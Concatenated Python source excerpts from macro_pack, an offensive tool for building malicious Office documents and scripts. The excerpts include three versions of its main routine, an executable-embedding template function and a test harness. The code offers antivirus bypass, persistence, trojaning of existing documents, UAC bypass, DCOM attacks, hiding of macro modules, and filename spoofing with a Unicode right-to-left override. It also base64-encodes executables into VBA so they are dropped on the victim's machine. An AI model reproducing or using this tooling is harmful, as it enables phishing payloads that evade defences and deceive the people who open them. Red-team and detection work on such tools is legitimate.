def main(argv): logLevel = "INFO" # initialize macro_pack session object mpSession = mp_session.MpSession(WORKING_DIR, VERSION) try: longOptions = ["quiet", "input-file=","vba-output=", "mask-strings", "encode","obfuscate","obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=","template=", "start-function="] # only for Pro release if MP_TYPE == "Pro": longOptions.extend(["vbom-encode", "persist","keep-alive", "av-bypass", "trojan", "stealth"]) # Only enabled on windows if sys.platform == "win32": longOptions.extend(["excel-output=", "word-output=", "excel97-output=", "word97-output=", "ppt-output="]) opts, args = getopt.getopt(argv, "s:f:t:v:x:X:w:W:P:hqmo", longOptions) # @UnusedVariable except getopt.GetoptError: usage() sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt=="--obfuscate-form": mpSession.obfuscateForm = True elif opt=="--obfuscate-names": mpSession.obfuscateNames = True elif opt=="--obfuscate-strings": mpSession.obfuscateStrings = True elif opt=="-s" or opt=="--start-function": mpSession.startFunction = arg elif opt == "-f" or opt== "--input-file": mpSession.vbaInput = arg elif opt=="-t" or opt=="--template": mpSession.template = arg elif opt=="-q" or opt=="--quiet": logLevel = "ERROR" elif opt=="-v" or opt=="--vba-output": mpSession.vbaFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-X", "--excel-output"): # Only enabled on windows if sys.platform == "win32": mpSession.excelFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-W","--word-output"): # Only enabled on windows if sys.platform == "win32": mpSession.wordFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-x", "--excel97-output"): # Only enabled on windows if sys.platform == "win32": mpSession.excel97FilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-w", "--word97-output"): # Only enabled on windows if sys.platform == "win32": mpSession.word97FilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-P","--ppt-output"): # Only enabled on windows if sys.platform == "win32": mpSession.pptFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt=="-h" or opt=="--help": usage() sys.exit(0) else: if MP_TYPE == "Pro": if opt=="--vbom-encode": mpSession.vbomEncode = True elif opt=="--persist": mpSession.persist = True elif opt=="--keep-alive": mpSession.keepAlive = True elif opt=="--av-bypass": mpSession.avBypass = True elif opt=="--trojan": mpSession.trojan = True elif opt == "--stealth": mpSession.stealth = True else: usage() sys.exit(0) else: usage() sys.exit(0) os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel),format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() else: logging.error(" [!] ERROR: No input provided") sys.exit(2) else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) if mpSession.trojan==False: # verify that output file does not already exist for outputPath in [mpSession.vbaFilePath, mpSession.excelFilePath, mpSession.wordFilePath, mpSession.excel97FilePath, mpSession.word97FilePath, mpSession.pptFilePath]: if outputPath is not None: if os.path.isfile(outputPath): logging.error(" [!] ERROR: Output file %s already exist!" % outputPath) sys.exit(2) else: # In trojan mode, file are tojane if they already exist and created if they dont. # except for vba output which is not concerned by trojan feature for outputPath in [mpSession.vbaFilePath]: if outputPath is not None: if os.path.isfile(outputPath): logging.error(" [!] ERROR: Output file %s already exist!" % outputPath) sys.exit(2) logging.info(" [-] Input file path: %s" % mpSession.vbaInput) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % WORKING_DIR) if not os.path.exists(WORKING_DIR): os.makedirs(WORKING_DIR) try: logging.info(" [-] Store input file..." ) # Create temporary work file. vbaFile = os.path.join(WORKING_DIR,utils.randomAlpha(9))+".vba" if mpSession.stdinContent is not None: f = open(vbaFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file shutil.copy2(mpSession.vbaInput, vbaFile) logging.info(" [-] Temp VBA file: %s" % vbaFile) # Generate template if mpSession.template: generator = TemplateToVba(mpSession) generator.run() # Macro obfuscation if mpSession.obfuscateNames: obfuscator = ObfuscateNames(mpSession) obfuscator.run() # Mask strings if mpSession.obfuscateStrings: obfuscator = ObfuscateStrings(mpSession) obfuscator.run() # Macro obfuscation if mpSession.obfuscateForm: obfuscator = ObfuscateForm(mpSession) obfuscator.run() if MP_TYPE == "Pro": #macro split if mpSession.avBypass: obfuscator = AvBypass(mpSession) obfuscator.run() # MAcro encoding if mpSession.vbomEncode: obfuscator = VbomEncoder(mpSession) obfuscator.run() # PErsistance management if mpSession.persist: obfuscator = Persistance(mpSession) obfuscator.run() # Macro obfuscation if mpSession.obfuscateNames: obfuscator = ObfuscateNames(mpSession) obfuscator.run() # Mask strings if mpSession.obfuscateStrings: obfuscator = ObfuscateStrings(mpSession) obfuscator.run() # Macro obfuscation if mpSession.obfuscateForm: obfuscator = ObfuscateForm(mpSession) obfuscator.run() else: # PErsistance management if mpSession.persist: obfuscator = Persistance(mpSession) obfuscator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32": if mpSession.stealth == True: # Add a new empty module to keep VBA library if we hide other modules # See http://seclists.org/fulldisclosure/2017/Mar/90 genericModule = mp_module.MpModule(mpSession) genericModule.addVBAModule("") if mpSession.trojan == False: if mpSession.excelFilePath or mpSession.excel97FilePath: generator = ExcelGenerator(mpSession) generator.run() if mpSession.wordFilePath or mpSession.word97FilePath: generator = WordGenerator(mpSession) generator.run() if mpSession.pptFilePath: generator = PowerPointGenerator(mpSession) generator.run() else: if mpSession.excelFilePath: if os.path.isfile(mpSession.excelFilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if mpSession.excel97FilePath: if os.path.isfile(mpSession.excel97FilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if mpSession.wordFilePath: if os.path.isfile(mpSession.wordFilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if mpSession.word97FilePath: if os.path.isfile(mpSession.word97FilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if mpSession.pptFilePath: if os.path.isfile(mpSession.pptFilePath): generator = PptTrojan(mpSession) generator.run() else: generator = PowerPointGenerator(mpSession) generator.run() if mpSession.stealth == True: obfuscator = Stealth(mpSession) obfuscator.run() if mpSession.vbaFilePath is not None or mpSession.fileOutput == False: generator = VBAGenerator(mpSession) generator.run() except Exception: logging.exception(" [!] Exception caught!") logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") if sys.platform == "win32": logging.error(" [!] Attempt to force close MS Office applications...") objExcel = win32com.client.Dispatch("Excel.Application") objExcel.Application.Quit() del objExcel objWord = win32com.client.Dispatch("Word.Application") objWord.Application.Quit() del objWord ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() del ppt logging.info(" [+] Cleaning...") shutil.rmtree(WORKING_DIR) logging.info(" Done!\n") sys.exit(0)
def main(argv): global MP_TYPE logLevel = LOGLEVEL # initialize macro_pack session object working_directory = os.path.join(os.getcwd(), WORKING_DIR) if MP_TYPE == "Pro": mpSession = mp_session_pro.MpSessionPro(working_directory, VERSION, MP_TYPE) else: mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "port=", "webdav-listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "listtemplates", "listformats", "icon=", "start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print", "force-yes" ] shortOptions = "e:l:w:s:f:t:G:hqmop" # only for Pro release if MP_TYPE == "Pro": longOptions.extend(arg_mgt_pro.proArgsLongOptions) shortOptions += arg_mgt_pro.proArgsShortOptions # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run=", "run-visible"]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenRoot = os.path.abspath(arg) elif opt == "--port": mpSession.listenPort = int(arg) mpSession.WlistenPort = int(arg) elif opt == "--icon": mpSession.icon = arg elif opt == "-w" or opt == "--webdav-listen": mpSession.Wlisten = True mpSession.WRoot = os.path.abspath(arg) elif opt == "-f" or opt == "--input-file": mpSession.fileInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": mpSession.template = arg elif opt == "--listtemplates": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) elif opt == "-q" or opt == "--quiet": logLevel = "WARN" elif opt == "-p" or opt == "--print": mpSession.printFile = True elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt == "--run-visible": if sys.platform == "win32": mpSession.runVisible = True elif opt == "--force-yes": mpSession.forceYes = True elif opt == "--uac-bypass": mpSession.uacBypass = True elif opt == "--unicode-rtlo": mpSession.unicodeRtlo = arg elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "--listformats": help.printAvailableFormats(BANNER) sys.exit(0) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": arg_mgt_pro.processProArg(opt, arg, mpSession, BANNER) else: #print("opt:%s, arg:%s",(opt,arg)) help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) if logLevel == "INFO": os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.fileInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() # Close Stdin pipe so we can call input() later without triggering EOF #sys.stdin.close() if sys.platform == "win32": sys.stdin = open("conIN$") else: sys.stdin = sys.__stdin__ else: if not os.path.isfile(mpSession.fileInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.fileInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.fileInput) if MP_TYPE == "Pro": if mpSession.communityMode == True: logging.warning( " [!] Running in community mode (pro features not applied)") MP_TYPE = "Community" else: arg_mgt_pro.verify(mpSession) # Check output file format if mpSession.outputFilePath: if not os.path.isdir(os.path.dirname(mpSession.outputFilePath)): logging.error(" [!] Could not find output folder %s." % os.path.dirname(mpSession.outputFilePath)) sys.exit(2) if mpSession.outputFileType == MSTypes.UNKNOWN: logging.error( " [!] %s is not a supported extension. Use --listformats to view supported MacroPack formats." % os.path.splitext(mpSession.outputFilePath)[1]) sys.exit(2) else: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and ( MP_TYPE != "Pro" or mpSession.dcomTarget is None): logging.error( " [!] You need to provide an output file! (get help using %s -h)" % os.path.basename(utils.getRunningApp())) sys.exit(2) if mpSession.isTrojanMode == False: # verify that output file does not already exist if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % working_directory) if not os.path.exists(working_directory): os.makedirs(working_directory) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template or ( mpSession.outputFileType not in MSTypes.VB_FORMATS and mpSession.htaMacro == False): inputFile = os.path.join(working_directory, "command.cmd") else: inputFile = os.path.join(working_directory, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: import time time.sleep(0.4) # Needed to avoid some weird race condition logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.fileInput is not None: # Check there are not binary chars in input fil if utils.isBinaryString( open(mpSession.fileInput, 'rb').read(1024)): logging.error( " [!] ERROR: Invalid format for %s. Input should be text format containing your VBA script." % mpSession.fileInput) logging.info(" [+] Cleaning...") if os.path.isdir(working_directory): shutil.rmtree(working_directory) sys.exit(2) logging.info(" [-] Store input file...") shutil.copy2(mpSession.fileInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Edit outputfile name to spoof extension if unicodeRtlo option is enabled if mpSession.unicodeRtlo: # Reminer; mpSession.unicodeRtlo contains the extension we want to spoof, such as "jpg" logging.info(" [+] Inject %s false extension with unicode RTLO" % mpSession.unicodeRtlo) # Separate document path and extension (fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath) logging.info(" [-] Extension %s " % fileExtension) # Append unicode RTLO to file name fileName += '\u202e' # Append extension to spoof in reverse order fileName += '\u200b' + mpSession.unicodeRtlo[:: -1] # Prepend invisible space so filename does not end with flagged extension # Append file extension fileName += fileExtension mpSession.outputFilePath = fileName logging.info(" [-] File name modified to: %s" % mpSession.outputFilePath) # Retrieve the right payload builder if mpSession.outputFileType != MSTypes.UNKNOWN: if MP_TYPE == "Pro" and mpSession.communityMode == False: payloadBuilder = PayloadBuilderFactoryPro().getPayloadBuilder( mpSession) else: payloadBuilder = PayloadBuilderFactory().getPayloadBuilder( mpSession) # Build payload if payloadBuilder is not None: payloadBuilder.run() if MP_TYPE == "Pro": generator = ContainerGenerator(mpSession) generator.run() #run com attack if mpSession.runTarget: generator = ComGenerator(mpSession) generator.run() if MP_TYPE == "Pro": #run dcom attack if mpSession.dcom: generator = DcomGenerator(mpSession) generator.run() # Activate Web server if mpSession.listen: listener = ListenServer(mpSession) listener.run() # Activate WebDav server if mpSession.Wlisten: Wlistener = WListenServer(mpSession) Wlistener.run() except Exception: logging.exception(" [!] Exception caught!") except KeyboardInterrupt: logging.error(" [!] Keyboard interrupt caught!") logging.info(" [+] Cleaning...") if os.path.isdir(working_directory): shutil.rmtree(working_directory) logging.info(" Done!\n") sys.exit(0)
def main(argv): logLevel = "INFO" # initialize macro_pack session object working_directory = os.path.join(os.getcwd(), WORKING_DIR) mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "port=", "webdav-listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print" ] shortOptions = "e:l:w:s:f:t:G:hqmop" # only for Pro release if MP_TYPE == "Pro": longOptions.extend([ "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=", "stealth", "dcom=", "background", "decoy=" ]) shortOptions += "T:b" # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run="]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenRoot = os.path.abspath(arg) elif opt == "--port": mpSession.listenPort = int(arg) mpSession.WlistenPort = int(arg) elif opt == "-w" or opt == "--webdav-listen": mpSession.Wlisten = True mpSession.WRoot = os.path.abspath(arg) elif opt == "-f" or opt == "--input-file": mpSession.vbaInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": if arg is None or arg.startswith( "-") or arg == "help" or arg == "HELP": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) else: mpSession.template = arg elif opt == "-q" or opt == "--quiet": logLevel = "ERROR" elif opt == "-p" or opt == "--print": mpSession.printFile = True elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt == "--uac-bypass": mpSession.uacBypass = True elif opt == "--unicode-rtlo": mpSession.unicodeRtlo = arg elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": if opt == "--vbom-encode": mpSession.vbomEncode = True elif opt == "--persist": mpSession.persist = True elif opt == "--keep-alive": mpSession.keepAlive = True elif opt == "--av-bypass": mpSession.avBypass = True elif opt == "-T" or opt == "--trojan": # Document generation enabled only on windows if sys.platform == "win32": mpSession.outputFilePath = os.path.abspath(arg) mpSession.trojan = True elif opt == "-b" or opt == "--background": mpSession.background = True elif opt == "--stealth": mpSession.stealth = True elif opt == "--dcom": mpSession.dcom = True mpSession.dcomTarget = arg elif opt == "--decoy": mpSession.decoyFilePath = os.path.abspath(arg) else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: #print("opt:%s, arg:%s",(opt,arg)) help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) if logLevel == "INFO": os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # Check output file format if mpSession.outputFilePath: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and mpSession.dcomTarget is None: logging.error(" [!] You need to provide an output file! (-G option)") sys.exit(2) # Edit outputfile name to spoof extension if unicodeRtlo option is enabled if mpSession.unicodeRtlo: logging.info(" [-] Inject %s false extension with unicode RTLO" % mpSession.unicodeRtlo) # Separate document and extension (fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath) # Append unicode RTLO to file name fileName += '\u202e' # Append extension to spoof in reverse order fileName += mpSession.unicodeRtlo[::-1] # Appent file extension fileName += fileExtension mpSession.outputFilePath = fileName logging.info(" [-] File name modified to: %s" % mpSession.outputFilePath) # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() # Close Stdin pipe so we can call input() later without triggering EOF #sys.stdin.close() sys.stdin = sys.__stdin__ else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.vbaInput) if mpSession.trojan == False: # verify that output file does not already exist if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) else: # In trojan mode, files are tojaned if they already exist and created if they dont. # This concerns only non Office documents for now if mpSession.outputFileType not in MSTypes.MS_OFFICE_FORMATS: if os.path.isfile(mpSession.outputFilePath): logging.error( " [!] ERROR: Trojan mode not supported for %s format. \nOutput file %s already exist!" % (mpSession.outputFileType, mpSession.outputFilePath)) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % working_directory) if not os.path.exists(working_directory): os.makedirs(working_directory) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template or ( mpSession.outputFileType not in MSTypes.VB_FORMATS): inputFile = os.path.join(working_directory, "command.cmd") else: inputFile = os.path.join(working_directory, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.vbaInput is not None: logging.info(" [-] Store input file...") shutil.copy2(mpSession.vbaInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Generate template if mpSession.template: if MP_TYPE == "Pro": generator = TemplateGeneratorPro(mpSession) generator.run() else: generator = TemplateToVba(mpSession) generator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32" and mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS: handleOfficeFormats(mpSession) # Generate Scripts if MP_TYPE == "Pro": if mpSession.outputFileType == MSTypes.VBS: generator = VBSGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGeneratorPro(mpSession) generator.run() if mpSession.outputFileType == MSTypes.XSL: generator = XSLGeneratorPro(mpSession) generator.run() else: if mpSession.outputFileType == MSTypes.VBS: generator = VBSGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.XSL: generator = XSLGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBA: generator = VBAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCF: generator = SCFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.URL: generator = UrlShortcutGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.GLK: generator = GlkGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.LNK: generator = LNKGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SETTINGS_MS: generator = SettingsShortcutGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.LIBRARY_MS: generator = LibraryShortcutGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.INF: generator = InfGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.IQY: generator = IqyGenerator(mpSession) generator.run() #run com attack if mpSession.runTarget: generator = ComGenerator(mpSession) generator.run() #run dcom attack if mpSession.dcom: generator = DcomGenerator(mpSession) generator.run() # Activate Web server if mpSession.listen: listener = ListenServer(mpSession) listener.run() if mpSession.Wlisten: Wlistener = WListenServer(mpSession) Wlistener.run() except Exception: logging.exception(" [!] Exception caught!") logging.info(" [+] Cleaning...") shutil.rmtree(working_directory) logging.info(" Done!\n") sys.exit(0)
def _processEmbedExeTemplate(self): # open file containing template values cmdFile = self.getCMDFile() if cmdFile is None or cmdFile == "": logging.error(" [!] Could not find template parameters!") return f = open(cmdFile, 'r') valuesFileContent = f.read() f.close() params = shlex.split( valuesFileContent ) # split on space but preserve what is between quotes inputExe = params[0] outputPath = None if len(params) > 1: outputPath = params[1] else: outputPath = utils.randomAlpha(5) + os.path.splitext(inputExe)[1] logging.info(" [-] Output path when exe is extracted: %s" % outputPath) #OPEN THE FILE if os.path.isfile(inputExe): todo = open(inputExe, 'rb').read() else: logging.error(" [!] Could not find %s" % inputExe) return #ENCODE THE FILE logging.info(" [-] Encoding %d bytes" % (len(todo), )) b64 = base64.b64encode(todo).decode() logging.info(" [-] Encoded data is %d bytes" % (len(b64), )) b64 = b64.replace("\n", "") x = 50000 strs = [b64[i:i + x] for i in range(0, len(b64), x)] for j in range(len(strs)): ##### Avoids "Procedure too large error with large executables" ##### strs[j] = self._formStr("var" + str(j), strs[j]) sub_proc = "" for i in range(len(strs)): sub_proc = sub_proc + "Private Function var" + str( i) + " As String\n" sub_proc = sub_proc + "" + strs[i] sub_proc = sub_proc + "\nEnd Function\n" chunksDecode = "" for l in range(len(strs)): chunksDecode += "\tDim chunk" + str(l) + " As String\n" chunksDecode += "\tchunk" + str(l) + " = var" + str(l) + "()\n" chunksDecode += "\tout1 = out1 + chunk" + str(l) + "\n" content = templates.EMBED_EXE content = content.replace("<<<STRINGS>>>", sub_proc) content = content.replace("<<<DECODE_CHUNKS>>>", chunksDecode) content = content.replace("<<<OUT_FILE>>>", outputPath) #top + next + then1 + sub_proc+ sub_open # generate random file name vbaFile = os.path.abspath( os.path.join(self.workingPath, utils.randomAlpha(9) + ".vba")) logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) # Write in new file f = open(vbaFile, 'w') f.write(content) f.close() os.remove(cmdFile) logging.info(" [-] OK!")
def testVBGenerators(): """ will run test of MS Office and VBS based formats The tests consist into creating the documents, then running them triggering a file creation macro. Then checking the file is well created The tests are run in both cleartext and obfuscated mode. """ result = True vbaTestFile = "testmacro.vba" logging.info(" [+] Build macro test file...") with open(vbaTestFile, 'w') as outfile: outfile.write(VBA) for testFormat in MSTypes.VB_FORMATS: testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat] try: logging.info(" [+] Testing generation of %s file..." % testFormat) os.system("%s %s -f %s -G %s -q" % (sys.executable, MP_MAIN, vbaTestFile, testFile)) assert (os.path.isfile(testFile)) logging.info(" [-] Success!\n") if testFormat not in [MSTypes.VBA, MSTypes.SCT]: logging.info(" [+] Testing run of %s file..." % testFormat) if testFormat in MSTypes.MS_OFFICE_FORMATS: os.system("%s %s --run=%s -q" % (sys.executable, MP_MAIN, testFile)) else: os.system("cmd.exe /c %s" % (testFile)) # Check result assert (os.path.isfile(fileToGenerate)) with open(fileToGenerate, 'rb') as infile: content = infile.read().decode('utf-16') #logging.info("Content:|%s| - fileToGenerateContent:|%s|" % (content, fileToGenerateContent)) assert (content == fileToGenerateContent) testSummary[testFormat + " in Clear Text"] = "[OK]" logging.info(" [-] Success!\n") os.remove(fileToGenerate) except: result = False testSummary[testFormat + " in Clear Text"] = "[KO]" logging.exception(" [!] Error!\n") if os.path.isfile(testFile): os.remove(testFile) testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat] try: logging.info(" [+] Testing generation of %s obfuscated file..." % testFormat) os.system("%s %s -f %s -G %s -o -q" % (sys.executable, MP_MAIN, vbaTestFile, testFile)) assert (os.path.isfile(testFile)) logging.info(" [-] Success!\n") if testFormat not in [MSTypes.VBA, MSTypes.SCT]: logging.info(" [+] Testing run of %s obfuscated file..." % testFormat) if testFormat in MSTypes.MS_OFFICE_FORMATS: os.system("%s %s --run=%s -q" % (sys.executable, MP_MAIN, testFile)) else: os.system("cmd.exe /c %s" % (testFile)) # Check result assert (os.path.isfile(fileToGenerate)) with open(fileToGenerate, 'rb') as infile: content = infile.read().decode('utf-16') assert (content == fileToGenerateContent) logging.info(" [-] Success!\n") testSummary[testFormat + " obfuscated"] = "[OK]" os.remove(fileToGenerate) except: result = False testSummary[testFormat + " obfuscated"] = "[KO]" logging.exception(" [!] Error!\n") if os.path.isfile(testFile): os.remove(testFile) os.remove(vbaTestFile) return result